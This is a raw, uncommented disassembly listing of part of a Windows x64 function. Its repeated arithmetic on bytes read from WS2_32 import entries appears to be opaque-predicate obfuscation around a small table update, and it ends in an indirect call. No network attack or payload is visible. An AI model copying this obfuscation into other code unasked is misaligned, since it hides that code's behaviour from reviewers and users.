cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091d38
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091d38
mov dword [rbp + 0x77], 3
jmp 0x140091dc8
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091dc8
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x77], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x77]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r13d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400920e6
mov eax, dword [rbp + 0x67]
sub eax, 0x78
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091ee8
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140091ee8
mov esi, 3
jmp 0x140091f75
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091f75
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si esi, xmm0
mov eax, dword [rbp + 0x67]
sub eax, 0x78
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092031
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140092031
mov dword [rbp + 0x7f], 3
jmp 0x1400920c1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400920c1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x7f], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x7f]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, esi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx ecx, byte [0x14037c72a]
movsx edx, al
imul ecx, edx
imul ebx, ecx, 7
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400923c5
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400921cd
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400921cd
mov edi, 3
mov dword [rbp - 0x55], edi
jmp 0x140092262
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009225f
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp - 0x55], edi
jmp 0x140092262
mov edi, dword [rbp - 0x55]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092310
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140092310
mov dword [rbp - 0x59], 3
jmp 0x1400923a0
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400923a0
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp - 0x59], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp - 0x59]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
mov eax, dword [rbp + 0x67]
inc eax
mov dword [rbp + 0x67], eax
mov eax, dword [rbp + 0x67]
cmp eax, 1
jb 0x140091526
mov rbx, qword [rbp - 0x49]
mov eax, dword [rbp - 0x4d]
lea r8, [0x140088920]
mov rcx, qword [rbx + 0x38]
lea r9, [0x140000000]
mov edx, 5
call qword [r9 + rax*8 + 0x3713a0]
movaps xmm10, xmmword [rsp + 0x40]
mov rax, rbx
movaps xmm9, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x80]
mov r15, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
mov r13, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xc0]
add rsp, 0xc8
pop rbx
pop rbp
ret